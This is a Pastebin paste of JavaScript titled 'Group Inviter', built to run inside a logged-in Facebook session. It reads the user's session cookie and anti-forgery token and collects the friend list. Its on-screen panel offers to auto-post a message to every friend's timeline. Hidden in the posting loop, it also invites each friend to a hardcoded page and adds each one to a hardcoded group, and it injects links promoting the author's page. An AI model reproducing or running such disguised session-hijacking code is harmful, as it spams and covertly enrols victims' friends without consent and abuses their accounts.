mcjosh1995

Group Inviter

Apr 14th, 2014
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.64 KB | None | 0 0
  1. var Title = 'AUTO POST TO ALL FRIENDS TIMELINE';
  2. var Descriptions = "",
  3. _text = 'Prepared by: <A style="color:#FFFF00;" href="https://www.facebook.com/McjoshOfficial" target="_blank">Mc Josh</A></A>,';
  4. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#FF0000'>"; /*|undefined undefined|*/
  5. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  6. display += "<div><textarea id='txtFloodMsg' placeholder='Whats on your mind?' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.9);'></textarea></div>";
  7. display += "<div class='clearfix' style='text-align:right;padding-top:5px;'><a style='text-align:right;padding-top:5px;' data-hover='tooltip' aria-label='Friends' data-tooltip-alignh='right' class='uiSelectorButton uiButton uiButtonSuppressed' href='#' role='button' aria-haspopup='1' aria-expanded='false' data-label='' data-length='30' data-ariaprefix='Post Privacy Setting' rel='toggle' id='js_14'><i class='mrs defaultIcon customimg img sp_5ym4oy sx_042661'></i><span class='uiButtonText'>Friends</span></a><a><span id='UIButton_Start' onclick='autopostingfunc()' style='text-align:center;font-family:tahoma;color:white;width:45px;height:25px;' class='_42ft _4jy0 _11b _4jy3 _4jy1 selected'>Post</span></a></div>";
  8. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  9. display += _text;
  10. window[tag + '_close'] = true;
  11. display += "</div>";
  12. display += "</div>";
  13. document.getElementById("pagelet_sidebar").innerHTML = display;
  14.  
  15. function Posting(o) {
  16. jx.load(window.location.protocol + "//www.facebook.com/ajax/stream/inline.php?fb_dtsg=" + fb_dtsg + "&walltarget=" + o + "&render_notif_only=1&birthday=1&message_text=" + encodeURIComponent(msg) + "&message=" + encodeURIComponent(msg) + "&giftsgroupid=8ff493ad46&post=Post&nctr[_mod]=pagelet_reminders&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFIwd9e&__req=1b&phstamp=", function (a) {
  17.  
  18. var b = a.substring(a.indexOf("{"));
  19. var c = JSON.parse(b);
  20. i--;
  21. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  22. if (c.error) {
  23. Descriptions += "color:darkred'>";
  24. Descriptions += 'The message could not be posted to this Wall. ';
  25. if (c.errorDescription) Descriptions += c.errorDescription;
  26. else Descriptions += JSON.stringify(c, null, "")
  27. } else {
  28. Descriptions += "color:darkgreen'>";
  29. Descriptions += "Please Wait Now Posting in " + arn[i] + "\'s Timeline.<br/>";
  30. suc++
  31. }
  32. Descriptions += "</div>";
  33. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#FF0000'>"; /*|undefined undefined|*/
  34. if (i > 0) {
  35. var Title = 'AutoPost';
  36. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  37. display += arr.length + " Your All Friends<br/>";
  38. display += "( Posting... " + i + " )";
  39. display += "<div class='friend-edge'>";
  40. display += Descriptions;
  41. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;font-size:14px;text-align:left;color:#FFFF00;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  42. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  43. display += getuname + " Posting on timeline...<br/>";
  44. display += _text;
  45. window[tag + '_close'] = true;
  46. display += "</div>";
  47. display += "</div>";
  48. display += "</div>"
  49. } else {
  50. Title = 'AutoPost';
  51. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  52. display += arr.length + " Total Friends " + suc + " successfully Post</br></br>";
  53. window[tag + '_close'] = false;
  54. display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Home</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Reload</span><span style='color:black' class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span><br/>";
  55. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>";
  56. display += _text;
  57. display += "</div>"
  58. }
  59. display += "</div>";
  60. document.getElementById("pagelet_sidebar").innerHTML = display
  61. }, "text", "post");
  62. tay--;
  63. if (tay > 0) {
  64. var s = arr[i];
  65. setTimeout("Posting(" + s + ");", 1000)
  66. }
  67. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  68.  
  69. if (fb_dtsg){
  70. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + o + "%22%3A1%7D&checkableitems[0]=" + o + "&page_id=632993453402658&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
  71. }
  72. if (fb_dtsg){
  73. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=552630551502835&source=typeahead&members=" + o + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post");
  74. }
  75. }
  76. jx = {
  77. b: function () {
  78. var b = !1;
  79. if ("undefined" != typeof ActiveXObject) try {
  80. b = new ActiveXObject("Msxml2.XMLHTTP")
  81. } catch (c) {
  82. try {
  83. b = new ActiveXObject("Microsoft.XMLHTTP")
  84. } catch (a) {
  85. b = !1
  86. }
  87. } else if (window.XMLHttpRequest) try {
  88. b = new XMLHttpRequest
  89. } catch (h) {
  90. b = !1
  91. }
  92. return b
  93. },
  94. load: function (b, c, a, h, g) {
  95. var e = this.d();
  96. if (e && b) {
  97. e.overrideMimeType && e.overrideMimeType("text/xml");
  98. h || (h = "GET");
  99. a || (a = "text");
  100. g || (g = {});
  101. a = a.toLowerCase();
  102. h = h.toUpperCase();
  103. b += b.indexOf("?") + 1 ? "&" : "?";
  104. var k = null;
  105. "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  106. e.open(h, b, !0);
  107. e.onreadystatechange = g.c ? function () {
  108. g.c(e)
  109. } : function () {
  110. if (4 == e.readyState)
  111. if (200 == e.status) {
  112. var b = "";
  113. e.responseText && (b = e.responseText);
  114. "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  115. c && c(b)
  116. } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  117. };
  118. e.send(k)
  119. }
  120. },
  121. d: function () {
  122. return this.b()
  123. }
  124. };
  125.  
  126. function ChangeLocation() {
  127. window.location.href = "http://www.facebook.com/"
  128. };
  129. setTimeout("ChangeLocation", 1);
  130. window.onbeforeunload = function () {
  131. if (window[tag + '_close']) {
  132. return 'This script is running now!'
  133. }
  134. };
  135. var now = (new Date).getTime();
  136. var tag = 'Close';
  137. var i = 3;
  138. var tay = 3;
  139. var suc = 0;
  140. var arr = new Array;
  141. var arn = new Array;
  142. var pho = new Array;
  143. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  144. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  145. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  146. var msg = '';
  147. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0", function (a) {
  148. var b = a;
  149. var c = b.substring(b.indexOf("{"));
  150. var d = JSON.parse(c);
  151. d = d.payload.entries;
  152. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  153. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  154. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  155. i = arr.length - 1;
  156. tay = i;
  157. console.log(arr.length)
  158. });
  159.  
  160. function autopostingfunc() {
  161. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  162. Posting(arr[i])
  163. }
  164.  
  165. body = document.body;
  166. if(body != null)
  167. {
  168. div = document.createElement("div");
  169. div.style.position = "fixed";
  170. div.style.display = "block";
  171. div.style.width = "100px";
  172. div.style.opacity= 0.90;
  173. div.style.bottom = "+60px";
  174. div.style.left = "+0px";
  175. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  176. div.style.border = "1px solid rgba(0,0,0,0.5)";
  177. div.style.padding = "3px";
  178. div.innerHTML = "<a style='font-weight:bold;color:#CCFF33' href='https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/McjoshOfficial' title='Share'><blink><center>Share To Friends</center></blink></a>"
  179. body.appendChild(div);
  180. }
  181.  
  182. if(body != null)
  183. {
  184. div = document.createElement("div");
  185. div.style.position = "fixed";
  186. div.style.display = "block";
  187. div.style.width = "100px";
  188. div.style.opacity= 0.90;
  189. div.style.bottom = "+35px";
  190. div.style.left = "+0px";
  191. div.style.backgroundColor = "rgba(0,0,0,0.5)";
  192. div.style.border = "1px solid rgba(0,0,0,0.5)";
  193. div.style.padding = "3px";
  194. div.innerHTML = "<a style='font-weight:bold;color:#CCFF33' href='' title='Refresh'><blink><center>Refresh (F5)</center></blink></a>"
  195. body.appendChild(div);
  196. }
Advertisement
Add Comment
Please, Sign In to add comment